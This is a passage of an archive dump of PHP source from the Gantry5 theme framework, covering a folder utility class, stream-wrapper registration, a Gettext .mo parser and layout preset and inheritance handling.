    {
        if (!is_dir($source)) {
            throw new \RuntimeException('Cannot move non-existing
folder.');
        }

        // Make sure that path to the target exists before moving.
        self::create(dirname($target));

        // Just rename the directory.
        $success = @rename($source, $target);

        if (!$success) {
            $error = error_get_last();
            throw new \RuntimeException($error['message']);
        }

        // Make sure that the change will be detected when caching.
        @touch(dirname($source));
        @touch(dirname($target));
    }

    /**
     * Recursively delete directory from filesystem.
     *
     * @param  string $target
     * @param  bool   $include_target
     * @throws \RuntimeException
     */
    public static function delete($target, $include_target = true)
    {
        if (!$target) { return; }

        if (!is_dir($target)) {
            throw new \RuntimeException('Cannot delete non-existing
folder.');
        }

        $success = self::doDelete($target, $include_target);

        if (!$success) {
            $error = error_get_last();
            throw new \RuntimeException($error['message']);
        }

        // Make sure that the change will be detected when caching.
        if ($include_target) {
            @touch(dirname($target));
        } else {
            @touch($target);
        }
    }

    /**
     * @param  string  $folder
     * @throws \RuntimeException
     */
    public static function create($folder)
    {
        if (is_dir($folder)) {
            return;
        }

        $success = @mkdir($folder, 0777, true);

        if (!$success) {
            // Take yet another look, make sure that the folder
doesn't exist.
            clearstatcache(true, $folder);
            if (is_dir($folder)) {
                return;
            }

            $error = error_get_last();
            throw new \RuntimeException($error['message']);
        }
    }

    /**
     * @param  string $folder
     * @param  bool   $include_target
     * @return bool
     * @internal
     */
    protected static function doDelete($folder, $include_target = true)
    {
        // Special case for symbolic links.
        if ($include_target && is_link($folder)) {
            return @unlink($folder);
        }

        // Go through all items in filesystem and recursively remove
everything.
        $files = array_diff(scandir($folder), array('.',
'..'));
        foreach ($files as $file) {
            $path = "{$folder}/{$file}";
            (is_dir($path)) ? self::doDelete($path) : @unlink($path);
        }

        return $include_target ? @rmdir($folder) : true;
    }
}
Gantry/Component/Filesystem/Streams.php000064400000005415151157471010014234
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Filesystem;

use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
use RocketTheme\Toolbox\StreamWrapper\ReadOnlyStream;
use RocketTheme\Toolbox\StreamWrapper\Stream;

class Streams
{
    /**
     * @var array
     */
    protected $schemes = [];

    /**
     * @var array
     */
    protected $registered;

    /**
     * @var UniformResourceLocator
     */
    protected $locator;

    public function __construct(UniformResourceLocator $locator = null)
    {
        if ($locator) {
            $this->setLocator($locator);
        }
    }

    /**
     * @param UniformResourceLocator $locator
     */
    public function setLocator(UniformResourceLocator $locator)
    {
        $this->locator = $locator;

        // Set locator to both streams.
        Stream::setLocator($locator);
        ReadOnlyStream::setLocator($locator);
    }

    /**
     * @return UniformResourceLocator
     */
    public function getLocator()
    {
        return $this->locator;
    }

    public function add(array $schemes)
    {
        foreach ($schemes as $scheme => $config) {
            $force = !empty($config['force']);

            if (isset($config['paths'])) {
                $this->locator->addPath($scheme, '',
$config['paths'], false, $force);
            }
            if (isset($config['prefixes'])) {
                foreach ($config['prefixes'] as $prefix =>
$paths) {
                    $this->locator->addPath($scheme, $prefix, $paths,
false, $force);
                }
            }
            $type = !empty($config['type']) ?
$config['type'] : 'ReadOnlyStream';
            if ($type[0] != '\\') {
                $type = '\\Rockettheme\\Toolbox\\StreamWrapper\\'
. $type;
            }
            $this->schemes[$scheme] = $type;

            if (isset($this->registered)) {
                $this->doRegister($scheme, $type);
            }
        }
    }

    public function register()
    {
        $this->registered = stream_get_wrappers();

        foreach ($this->schemes as $scheme => $type) {
            $this->doRegister($scheme, $type);
        }
    }

    protected function doRegister($scheme, $type)
    {
        if (in_array($scheme, $this->registered)) {
            stream_wrapper_unregister($scheme);
        }

        if (!stream_wrapper_register($scheme, $type)) {
            throw new \InvalidArgumentException("Stream
'{$type}' could not be initialized.");
        }
    }
}
Gantry/Component/Gantry/GantryTrait.php000064400000001527151157471010014206
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Gantry;

use Gantry\Framework\Gantry;

trait GantryTrait
{
    /**
     * @var Gantry
     */
    private static $gantry;

    /**
     * Get global Gantry instance.
     *
     * @return Gantry
     */
    public static function gantry()
    {
        // We cannot set variable directly for the trait as it doesn't
work in HHVM.
        if (!self::$gantry) {
            self::$gantry = Gantry::instance();
        }

        return self::$gantry;
    }
}
Gantry/Component/Gettext/Gettext.php000064400000006016151157471010013540
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Gettext;

/**
 * Class Gettext
 * @package Gantry\Component\Gettext
 *
 * Examples on translating gettext in twig:
 *
 * {% trans string_var %}
 * http://twig.sensiolabs.org/doc/extensions/i18n.html
 *
 * {% trans %}Hello {{ author.name }}{% endtrans %}
 * http://symfony.com/doc/current/book/translation.html
 *
 * {{ 'Hello %name%'|trans({'%name%': name}) }}
 * {{ trans('Hello %name%', {'%name%': name}) }}
 */
class Gettext
{
    public $pos = 0;
    public $str;
    public $len;
    public $endian = 'V';

    public function parse($string)
    {
        $this->str = $string;
        $this->len = strlen($string);

        $magic = self::readInt() & 0xffffffff;

        if ($magic === 0x950412de) {
            // Low endian.
            $this->endian = 'V';
        } elseif ($magic === 0xde120495) {
            // Big endian.
            $this->endian = 'N';
        } else {
            throw new \Exception('Not a Gettext file (.mo)');
        }

        // Skip revision number.
        self::readInt();
        // Total count.
        $total = self::readInt();
        // Offset of original table.
        $originals = self::readInt();
        // Offset of translation table.
        $translations = self::readInt();

        $this->seek($originals);
        $table_originals = self::readIntArray($total * 2);
        $this->seek($translations);
        $table_translations = self::readIntArray($total * 2);

        $items = [];
        for ($i = 0; $i < $total; $i++) {
            $this->seek($table_originals[$i * 2 + 2]);
            $original = $this->read($table_originals[$i * 2 + 1]);

            if ($original) {
                $this->seek($table_translations[$i * 2 + 2]);
                $items[$original] = $this->read($table_translations[$i *
2 + 1]);
            }
        }

        return $items;
    }

    /**
     * @return int
     */
    protected function readInt()
    {
        $read = $this->read(4);

        if ($read === false) {
            return false;
        }

        $read = unpack($this->endian, $read);

        return array_shift($read);
    }

    /**
     * @param $count
     * @return array
     */
    protected function readIntArray($count)
    {
        return unpack($this->endian . $count, $this->read(4 *
$count));
    }

    /**
     * @param $bytes
     * @return string
     */
    private function read($bytes)
    {
        $data = substr($this->str, $this->pos, $bytes);
        $this->seek($this->pos + $bytes);
        return $data;
    }

    /**
     * @param $pos
     * @return mixed
     */
    private function seek($pos)
    {
        $this->pos = max($this->len, $pos);
        return $this->pos;
    }
}
Gantry/Component/Layout/Layout.php000064400000102773151157471010013231
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Layout;

use Gantry\Component\Config\Config;
use Gantry\Component\File\CompiledYamlFile;
use Gantry\Framework\Outlines;
use Gantry\Framework\Gantry;
use RocketTheme\Toolbox\ArrayTraits\ArrayAccess;
use RocketTheme\Toolbox\ArrayTraits\Export;
use RocketTheme\Toolbox\ArrayTraits\ExportInterface;
use RocketTheme\Toolbox\ArrayTraits\Iterator;
use RocketTheme\Toolbox\File\YamlFile;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceIterator;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;

/**
 * Layout
 */
class Layout implements \ArrayAccess, \Iterator, ExportInterface
{
    use ArrayAccess, Iterator, Export;

    const VERSION = 7;

    protected static $instances = [];
    protected static $indexes = [];
    protected $layout = ['wrapper', 'container',
'section', 'grid', 'block',
'offcanvas'];

    public $name;
    public $timestamp = 0;
    public $preset = [];
    public $equalized = [3 => 33.3, 6 => 16.7, 7 => 14.3, 8 =>
12.5, 9 => 11.1, 11 => 9.1, 12 => 8.3];

    protected $exists;
    protected $items;
    protected $references;
    protected $parents;
    protected $blocks;
    protected $types;
    protected $inherit;

    /**
     * @return array
     */
    public static function presets()
    {
        $gantry = Gantry::instance();

        /** @var UniformResourceLocator $locator */
        $locator = $gantry['locator'];

        /** @var UniformResourceIterator $iterator */
        $iterator = $locator->getIterator(
            'gantry-layouts://',
            UniformResourceIterator::CURRENT_AS_SELF |
UniformResourceIterator::UNIX_PATHS | UniformResourceIterator::SKIP_DOTS
        );

        $files = [];
        /** @var UniformResourceIterator $info */
        foreach ($iterator as $info) {
            $name = $info->getBasename('.yaml');
            if (!$info->isFile() || $info->getExtension() !==
'yaml' || $name[0] === '.') {
                continue;
            }
            $files[] = $name;
        }

        sort($files);

        $results = ['user' => [], 'system' =>
[]];
        foreach ($files as $preset) {
            $scope = $preset && $preset[0] !== '_' ?
'user' : 'system';
            $results[$scope][$preset] =
ucwords(trim(preg_replace(['|_|', '|/|'], ['
', ' / '], $preset)));
        }

        return $results;
    }

    /**
     * @param string $name
     * @return array
     * @throws \RuntimeException
     */
    public static function preset($name)
    {
        $gantry = Gantry::instance();

        /** @var UniformResourceLocator $locator */
        $locator = $gantry['locator'];
        $filename =
$locator->findResource("gantry-layouts://{$name}.yaml");

        if (!$filename) {
            throw new \RuntimeException(sprintf("Preset '%s'
not found", $name), 404);
        }

        $layout = LayoutReader::read($filename);
        $layout['preset']['name'] = $name;
        $layout['preset']['timestamp'] =
filemtime($filename);

        return $layout;
    }

    /**
     * @param  string $name
     * @return Layout
     */
    public static function instance($name)
    {
        if (!isset(static::$instances[$name])) {
            static::$instances[$name] = static::load($name);
        }

        return static::$instances[$name];
    }

    /**
     * @param  string $name
     * @return Layout
     */
    public static function index($name)
    {
        if (!isset(static::$indexes[$name])) {
            static::$indexes[$name] = static::loadIndex($name, true);
        }

        return static::$indexes[$name];
    }

    /**
     * @param string $name
     * @param array $items
     * @param array $preset
     */
    public function __construct($name, array $items = null, array $preset =
null)
    {
        $this->name = $name;
        $this->items = (array) $items;
        $this->exists = $items !== null;

        // Add preset data from the layout.
        if ($preset) {
            $this->preset = $preset;
        } elseif (isset($this->items['preset'])) {
            $this->preset = (array) $this->items['preset'];
        }

        unset($this->items['preset']);

        $this->preset += [
            'name' => '',
            'timestamp' => 0,
            'image' =>
'gantry-admin://images/layouts/default.png'
        ];
    }

    /**
     * @return bool
     */
    public function exists()
    {
        return $this->exists;
    }

    /**
     * Initialize layout.
     *
     * @param  bool  $force
     * @param  bool  $inherit
     * @return $this
     */
    public function init($force = false, $inherit = true)
    {
        if ($force || $this->references === null) {
            $this->initReferences();
            if ($inherit) {
                $this->initInheritance();
            }
        }

        return $this;
    }

    /**
     * Build separate meta-information from the layout.
     *
     * @return array
     */
    public function buildIndex()
    {
        return [
            'name' => $this->name,
            'timestamp' => $this->timestamp,
            'version' => static::VERSION,
            'preset' => $this->preset,
            'positions' => $this->positions(),
            'sections' => $this->sections(),
            'particles' => $this->particles(),
            'inherit' => $this->inherit()
        ];
    }

    /**
     * @return $this
     */
    public function clean()
    {
        $this->references = null;
        $this->types = null;
        $this->inherit = null;

        $this->cleanLayout($this->items);

        return $this;
    }

    /**
     * @param string $old
     * @param string $new
     * @param array  $ids
     * @return $this
     */
    public function updateInheritance($old, $new = null, $ids = null)
    {
        $this->init();

        $inherit = $this->inherit();

        if (!empty($inherit[$old])) {
            foreach ($inherit[$old] as $id => $inheritId) {
                $element = $this->find($id, false);
                if ($element) {
                    $inheritId = isset($element->inherit->particle) ?
$element->inherit->particle : $id;
                    if ($new && ($ids === null ||
isset($ids[$inheritId]))) {
                        // Add or modify inheritance.
                        if (!isset($element->inherit)) {
                            $element->inherit = new \stdClass;
                        }
                        $element->inherit->outline = $new;
                    } else {
                        // Remove inheritance.
                        $element->inherit = new \stdClass;
                        unset($this->inherit[$element->id]);
                    }
                } else {
                    // Element does not exist anymore, remove its
reference.
                    unset($this->inherit[$id]);
                }
            }
        }

        return $this;
    }


    /**
     * Save layout.
     *
     * @param bool $cascade
     * @return $this
     */
    public function save($cascade = true)
    {
        if (!$this->name) {
            throw new \LogicException('Cannot save unnamed
layout');
        }

        GANTRY_DEBUGGER &&
\Gantry\Debugger::addMessage("Saving layout for outline
{$this->name}");

        $name = strtolower(preg_replace('|[^a-z\d_-]|ui',
'_', $this->name));

        $gantry = Gantry::instance();

        /** @var UniformResourceLocator $locator */
        $locator = $gantry['locator'];

        // If there are atoms in the layout, copy them into outline
configuration.
        $atoms = $this->atoms();
        if (is_array($atoms) && $cascade) {
                // Save layout into custom directory for the current theme.
                $filename =
$locator->findResource("gantry-config://{$name}/page/head.yaml",
true, true);

                $file = YamlFile::instance($filename);
                $config = new Config($file->content());

                $file->save($config->set('atoms',
json_decode(json_encode($atoms), true))->toArray());
                $file->free();
        }

        // Remove atoms from the layout.
        foreach ($this->items as $key => $section) {
            if ($section->type === 'atoms') {
                unset ($this->items[$key]);
            }
        }

        // Make sure that base outline never uses inheritance.
        if ($name === 'default') {
            $this->inheritNothing();
        }

        $filename =
$locator->findResource("gantry-config://{$name}/layout.yaml",
true, true);
        $file = CompiledYamlFile::instance($filename);
        $file->settings(['inline' => 20]);
        $file->save(LayoutReader::store($this->preset,
$this->items));
        $file->free();

        $this->timestamp = $file->modified();
        $this->exists = true;

        static::$instances[$this->name] = $this;

        return $this;
    }

    public function export()
    {
        return LayoutReader::store($this->preset, $this->items);
    }

    /**
     * Save index.
     *
     * @return $this
     */
    public function saveIndex($index = null)
    {
        if (!$this->name) {
            throw new \LogicException('Cannot save unnamed
layout');
        }

        GANTRY_DEBUGGER &&
\Gantry\Debugger::addMessage("Saving layout index for outline
{$this->name}");

        $gantry = Gantry::instance();

        /** @var UniformResourceLocator $locator */
        $locator = $gantry['locator'];
        $filename =
$locator->findResource("gantry-config://{$this->name}/index.yaml",
true, true);
        $cache =
$locator->findResource("gantry-cache://{$this->name}/compiled/yaml",
true, true);
        $file = CompiledYamlFile::instance($filename);

        // Attempt to lock the file for writing.
        try {
            $file->lock(false);
        } catch (\Exception $e) {
            // Another process has locked the file; we will check this in a
bit.
        }

        $index = $index ? $index : $this->buildIndex();

        // If file wasn't already locked by another process, save it.
        if ($file->locked() !== false) {
            $file->setCachePath($cache)->settings(['inline'
=> 20]);
            $file->save($index);
            $file->unlock();
        }
        $file->free();

        static::$indexes[$this->name] = $index;

        return $this;
    }

    /**
     * @return array
     */
    public function getLayoutTypes()
    {
        return $this->layout;
    }

    /**
     * @param string $type
     * @return bool
     */
    public function isLayoutType($type)
    {
        return in_array($type, $this->layout, true);
    }

    /**
     * @param $id
     * @return string|null
     */
    public function getParentId($id)
    {
        return isset($this->parents[$id]) ? $this->parents[$id] :
null;
    }

    /**
     * @return array
     */
    public function references()
    {
        $this->init();

        return $this->references;
    }

    /**
     * @param string $type
     * @param string $subtype
     * @return array
     */
    public function referencesByType($type = null, $subtype = null)
    {
        $this->init();

        if (!$type) {
            return $this->types;
        }

        if (!$subtype) {
            return isset($this->types[$type]) ? $this->types[$type] :
[];
        }

        return isset($this->types[$type][$subtype]) ?
$this->types[$type][$subtype] : [];
    }

    /**
     * Return list of positions (key) with their titles (value).
     *
     * @return array Array of position => title
     */
    public function positions()
    {
        $positions = $this->referencesByType('position',
'position');

        $list = [];
        foreach($positions as $position) {
            if (!isset($position->attributes->key)) {
                continue;
            }
            $list[$position->attributes->key] = $position->title;
        }

        return $list;
    }

    /**
     * Return list of positions (key) with their titles (value).
     *
     * @return array Array of position => title
     */
    public function sections()
    {
        $list = [];
        foreach ($this->referencesByType('section') as $type
=> $sections) {
            foreach ($sections as $id => $section) {
                $list[$id] = $section->title;
            }
        }

        foreach ($this->referencesByType('offcanvas') as $type
=> $sections) {
            foreach ($sections as $id => $section) {
                $list[$id] = $section->title;
            }
        }

        return $list;
    }

    /**
     * Return list of particles with their titles.
     *
     * @param  bool  $grouped  If true, group particles by type.
     * @return array Array of position => title
     */
    public function particles($grouped = true)
    {
        $blocks = $this->referencesByType('block',
'block');

        $list = [];
        foreach ($blocks as $blockId => $block) {
            if (!empty($block->children)) {
                foreach ($block->children as $id => $particle) {
                    if (!empty($particle->layout) ||
in_array($particle->type, $this->layout, true)) {
                        continue;
                    }
                    if ($grouped) {
                        $list[$particle->subtype][$particle->id] =
$particle->title;
                    } else {
                        $list[$particle->id] = $particle->title;
                    }
                }
            }
        }

        return $list;
    }

    /**
     * @param string $outline
     * @return array
     */
    public function inherit($outline = null)
    {
        $this->init();

        $list = [];
        foreach ($this->inherit as $name => $item) {
            if (isset($item->inherit->outline)) {
                if (isset($item->inherit->particle)) {
                    $list[$item->inherit->outline][$name] =
$item->inherit->particle;
                } else {
                    $list[$item->inherit->outline][$name] = $name;
                }
            }
        }

        return $outline ? (!empty($list[$outline]) ? $list[$outline] : [])
: $list;
    }

    /**
     * Return atoms from the layout.
     *
     * @return array|null
     * @deprecated
     */
    public function atoms()
    {
        $list   = null;

        $atoms = array_filter($this->items, function ($section) {
            return $section->type === 'atoms' &&
!empty($section->children);
        });
        $atoms = array_shift($atoms);

        if (!empty($atoms->children)) {
            $list = [];
            foreach ($atoms->children as $grid) {
                if (!empty($grid->children)) {
                    foreach ($grid->children as $block) {
                        if (isset($block->children[0])) {
                            $item = $block->children[0];
                            $list[] = ['title' =>
$item->title, 'type' => $item->subtype,
'attributes' => $item->attributes];
                        }
                    }
                }
            }
        }

        return $list;
    }

    /**
     * @param string $id
     * @param bool $createIfNotExists
     * @return object
     */
    public function find($id, $createIfNotExists = true)
    {
        $this->init();

        if (!isset($this->references[$id])) {
            return $createIfNotExists ? (object)['id' => $id,
'inherit' => new \stdClass] : null;
        }

        return $this->references[$id];
    }

    /**
     * @param string $id
     * @return null
     */
    public function block($id)
    {
        $this->init();

        return isset($this->blocks[$id]) ? $this->blocks[$id] : null;
    }

    public function clearSections()
    {
        $this->items = $this->clearChildren($this->items);

        return $this;
    }

    protected function clearChildren(&$items)
    {
        foreach ($items as $key => $item) {
            if (!empty($item->children)) {
                $this->children =
$this->clearChildren($item->children);
            }

            if (empty($item->children) &&
in_array($item->type, ['grid', 'block',
'particle', 'position', 'spacer',
'system'], true)) {
                unset($items[$key]);
            }
        }

        return array_values($items);
    }

    public function copySections(array $old)
    {
        $this->init();

        /** @var Layout $old */
        $old = new static('tmp', $old);

        $leftover = [];

        // Copy normal sections.
        $data = $old->referencesByType('section');

        if (isset($this->types['section'])) {
            $sections = $this->types['section'];

            $this->copyData($data, $sections, $leftover);
        }

        // Copy offcanvas.
        $data = $old->referencesByType('offcanvas');
        if (isset($this->types['offcanvas'])) {
            $offcanvas = $this->types['offcanvas'];

            $this->copyData($data, $offcanvas, $leftover);
        }

        // Copy atoms.
        $data = $old->referencesByType('atoms');
        if (isset($this->types['atoms'])) {
            $atoms = $this->types['atoms'];

            $this->copyData($data, $atoms, $leftover);
        }

        return $leftover;
    }

    public function inheritAll()
    {
        foreach ($this->references() as $item) {
            if (!empty($item->inherit->outline)) {
                continue;
            }
            if (!$this->isLayoutType($item->type)) {
                $item->inherit = (object) ['outline' =>
$this->name, 'include' => ['attributes',
'block']];
            } elseif ($item->type === 'section' ||
$item->type === 'offcanvas') {
                $item->inherit = (object) ['outline' =>
$this->name, 'include' => ['attributes',
'block', 'children']];
            }
        }

        $this->init(true);

        return $this;
    }

    public function inheritNothing()
    {
        foreach ($this->references() as $item) {
            unset($item->inherit);
        }

        $this->init(true);

        return $this;
    }

    protected function copyData(array $data, array $sections, array
&$leftover)
    {
        foreach ($data as $type => $items) {
            foreach ($items as $item) {
                $found = false;
                if (isset($sections[$type])) {
                    foreach ($sections[$type] as $section) {
                        if ($section->id === $item->id) {
                            $found = true;
                            $section->inherit =
$this->cloneData($item->inherit);
                            $section->children =
$this->cloneData($item->children);
                            break;
                        }
                    }
                }
                if (!$found && !empty($item->children)) {
                    $leftover[$item->id] = $item->title;
                }
            }
        }
    }

    /**
     * Clone data which consists mixed set of arrays and stdClass objects.
     *
     * @param mixed $data
     * @return mixed
     */
    protected function cloneData($data)
    {
        if (!($isObject = is_object($data)) && !is_array($data)) {
            return $data;
        }

        $clone = [];

        foreach((array) $data as $key => $value) {
            if (is_object($value) || is_array($value)) {
                $clone[$key] = $this->cloneData($value);
            } else {
                $clone[$key] = $value;
            }
        }

        return $isObject ? (object) $clone : $clone;
    }

    /**
     * @param array $items
     */
    protected function cleanLayout(array $items)
    {
        foreach ($items as $item) {
            if (!empty($item->inherit->include)) {
                $include = $item->inherit->include;
                foreach ($include as $part) {
                    switch ($part) {
                        case 'attributes':
                            $item->attributes = new \stdClass();
                            break;
                        case 'block':
                            break;
                        case 'children':
                            $item->children = [];
                            break;
                    }
                }
            }
            if (!empty($item->children)) {
                $this->cleanLayout($item->children);
            }
        }
    }

    protected function initInheritance()
    {
        $index = null;
        if ($this->name) {
            $index = static::loadIndexFile($this->name);
        }

        $inheriting = $this->inherit();

        if (GANTRY_DEBUGGER && $inheriting) {
            \Gantry\Debugger::addMessage(sprintf("Layout from outline
%s inherits %s", $this->name, implode(", ",
array_keys($inheriting))));
        }

        foreach ($inheriting as $outlineId => $list) {
            try {
                $outline = $this->instance($outlineId);
            } catch (\Exception $e) {
                // Outline must have been deleted.
                GANTRY_DEBUGGER &&
\Gantry\Debugger::addMessage("Outline {$outlineId} is missing /
deleted", 'error');
                $outline = null;
            }
            foreach ($list as $id => $inheritId) {
                $item = $this->find($id);

                $inheritId = !empty($item->inherit->particle) ?
$item->inherit->particle : $id;
                $inherited = $outline ? $outline->find($inheritId) :
null;
                $include = !empty($item->inherit->include) ? (array)
$item->inherit->include : [];

                foreach ($include as $part) {
                    switch ($part) {
                        case 'attributes':
                            // Deep clone attributes.
                            $item->attributes =
isset($inherited->attributes) ?
$this->cloneData($inherited->attributes) : new \stdClass();
                            break;
                        case 'block':
                            $block = $this->block($id);
                            if (isset($block->attributes)) {
                                $inheritBlock = $outline ?
$this->cloneData($outline->block($inheritId)) : null;
                                $blockAttributes = $inheritBlock ?
                                   
array_diff_key((array)$inheritBlock->attributes, ['fixed'
=> 1, 'size' => 1]) : [];
                                $block->attributes =
(object)($blockAttributes + (array)$block->attributes);
                            }
                            break;
                        case 'children':
                            if (!empty($inherited->children)) {
                                // Deep clone children.
                                $item->children =
$this->cloneData($inherited->children);
                               
$this->initReferences($item->children, $this->getParentId($id),
null,
                                    ['outline' => $outlineId,
'include' => ['attributes', 'block']],
$index);
                            } else {
                                $item->children = [];
                            }
                            break;
                    }
                }

                if (!$outline || !isset($inherited->attributes)) {
                    // Remove inheritance information if outline
doesn't exist.
                    $item->inherit = new \stdClass;
                    unset($this->inherit[$item->id]);
                }
            }
        }

    }

    /**
     * @param array $items
     * @param object $parent
     * @param object $block
     * @param string $inherit
     * @param array $index
     */
    protected function initReferences(array $items = null, $parent = null,
$block = null, $inherit = null, array $index = null)
    {
        if ($items === null) {
            $items = $this->items;
            $this->references = [];
            $this->types = [];
            $this->inherit = [];
        }

        foreach ($items as $item) {
            if (is_object($item)) {
                $type = $item->type;
                $subtype = !empty($item->subtype) ? $item->subtype :
$type;

                if ($block) {
                    $this->parents[$item->id] = $parent;
                }
                if ($block) {
                    $this->blocks[$item->id] = $block;
                }

                if ($inherit && !$this->isLayoutType($type)) {
                    $item->inherit = (object) $inherit;
                    $item->inherit->particle = $item->id;

                    if
(isset($index['inherit'][$item->inherit->outline])
&& ($newId = array_search($item->id,
$index['inherit'][$item->inherit->outline], true))) {
                        $item->id = $newId;
                    } else {
                        $item->id = $this->id($type, $subtype);
                    }
                }

                if (isset($item->id)) {
                    if (isset($this->references[$item->id])) {
                        if ($type === 'block' || $type ===
'grid') {
                            $item->id = $this->id($type, $subtype);
                        }
//                        elseif (null === $inherit) {
//                            throw new \RuntimeException('Layout
reference conflict on #' . $item->id);
//                        }
                    }
                    $this->references[$item->id] = $item;
                    $this->types[$type][$subtype][$item->id] = $item;

                    if (!empty($item->inherit->outline)) {
                        $this->inherit[$item->id] = $item;
                    }
                } else {
                    $this->types[$type][$subtype][] = $item;
                }

                if (isset($item->children) &&
is_array($item->children)) {
                    $this->initReferences($item->children, $type ===
'section' ? $item : $parent, $type === 'block' ? $item
: null, $inherit, $index);
                }
            }
        }
    }

    /**
     * @param string $type
     * @param string $subtype
     * @param string $id
     * @return string
     */
    protected function id($type, $subtype = null, $id = null)
    {
        $result = [];
        if ($type !== 'particle') {
            $result[] = $type;
        }
        if ($subtype && ($subtype !== $type || $subtype ===
'position')) {
            $result[] = $subtype;
        }
        $key = implode('-', $result);

        $key_id = $key . '-'. $id;
        if (!$id || isset($this->references[$key_id])) {
            while ($id = rand(1000, 9999)) {
                $key_id = $key . '-'. $id;
                if (!isset($this->references[$key_id])) {
                    break;
                }
            }
        }

        return $key_id;
    }

    /**
     * Prepare block width sizes.
     *
     * @return $this
     */
    public function prepareWidths()
    {
        $this->init();

        $this->calcWidths($this->items);

        return $this;
    }

    /**
     * Recalculate block widths.
     *
     * @param array $items
     * @internal
     */
    protected function calcWidths(array &$items)
    {
        foreach ($items as $i => $item) {
            if (empty($item->children)) {
                continue;
            }

            $this->calcWidths($item->children);

            $dynamicSize = 0;
            $fixedSize = 0;
            $childrenCount = 0;
            foreach ($item->children as $child) {
                if ($child->type !== 'block') {
                    continue;
                }
                $childrenCount++;
                if (!isset($child->attributes->size)) {
                    $child->attributes->size = 100 /
count($item->children);
                }
                if (empty($child->attributes->fixed)) {
                    $dynamicSize += $child->attributes->size;
                } else {
                    $fixedSize += $child->attributes->size;
                }
            }

            if (!$childrenCount) {
                continue;
            }

            $roundSize = round($dynamicSize, 1);
            $equalized = isset($this->equalized[$childrenCount]) ?
$this->equalized[$childrenCount] : 0;

            // force-casting string for testing comparison due to weird PHP
behavior that returns wrong result
            if ($roundSize !== 100 && (string) $roundSize !==
(string) ($equalized * $childrenCount)) {
                $fraction = 0;
                $multiplier = (100 - $fixedSize) / ($dynamicSize ?: 1);
                foreach ($item->children as $child) {
                    if ($child->type !== 'block') {
                        continue;
                    }
                    if (!empty($child->attributes->fixed)) {
                        continue;
                    }

                    // Calculate size for the next item by taking account
the rounding error from the last item.
                    // This will allow us to approximate cumulating error
and fix it when rounding error grows
                    // over the rounding treshold.
                    $size = ($child->attributes->size * $multiplier)
+ $fraction;
                    $newSize = round($size);
                    $fraction = $size - $newSize;
                    $child->attributes->size = $newSize;
                }
            }
        }
    }

    /**
     * @param  string $name
     * @param  string $preset
     * @return static
     */
    public static function load($name, $preset = null)
    {
        if (!$name) {
            throw new \BadMethodCallException('Layout needs to have a
name');
        }

        $gantry = Gantry::instance();

        /** @var UniformResourceLocator $locator */
        $locator = $gantry['locator'];

        $layout = null;
        $filename =
$locator("gantry-config://{$name}/layout.yaml");

        // If layout file doesn't exists, figure out what preset was
used.
        if (!$filename) {

            // Attempt to load the index file.
            $indexFile =
$locator("gantry-config://{$name}/index.yaml");
            if ($indexFile || !$preset) {
                $index = static::loadIndex($name, true);
                $preset = $index['preset']['name'];
            }

            try {
                $layout = static::preset($preset);
            } catch (\Exception $e) {
                // Layout doesn't exist, do nothing.
            }
        } else {
            $layout = LayoutReader::read($filename);
        }

        return new static($name, $layout);
    }

    protected static function loadIndexFile($name)
    {
        $gantry = Gantry::instance();

        /** @var UniformResourceLocator $locator */
        $locator = $gantry['locator'];

        // Attempt to load the index file.
        $indexFile =
$locator("gantry-config://{$name}/index.yaml");
        if ($indexFile) {
            $file = CompiledYamlFile::instance($indexFile);
            $index = (array)$file->content();
            $file->free();
        } else {
            $index = [];
        }

        return $index;
    }

    /**
     * @param  string $name
     * @param  bool   $autoSave
     * @return array
     */
    public static function loadIndex($name, $autoSave = false)
    {
        $gantry = Gantry::instance();

        /** @var UniformResourceLocator $locator */
        $locator = $gantry['locator'];

        $index = static::loadIndexFile($name);

        // Find out the currently used layout file.
        $layoutFile =
$locator("gantry-config://{$name}/layout.yaml");
        if (!$layoutFile) {
            /** @var Outlines $outlines */
            $outlines = $gantry['outlines'];

            $preset = isset($index['preset']['name']) ?
$index['preset']['name'] : $outlines->preset($name);
        }

        // Get timestamp for the layout file.
        $timestamp = $layoutFile ? filemtime($layoutFile) : 0;

        // If layout index file doesn't exist or is not up to date,
rebuild it.
        if (empty($index['timestamp']) ||
$index['timestamp'] != $timestamp ||
!isset($index['version']) || $index['version'] !=
static::VERSION) {
            $layout = isset($preset) ? new static($name,
static::preset($preset)) : static::instance($name);
            $layout->timestamp = $timestamp;

            if ($autoSave) {
                if (!$layout->timestamp) {
                    $layout->save();
                }
                $index = $layout->buildIndex();
                $layout->saveIndex($index);
            } else {
                $index = $layout->buildIndex();
            }
        }

        $index += [
            'name' => $name,
            'timestamp' => $timestamp,
            'preset' => [
                'name' => '',
                'image' =>
'gantry-admin://images/layouts/default.png'
            ],
            'positions' => [],
            'sections' => [],
            'inherit' => []
        ];

        return $index;
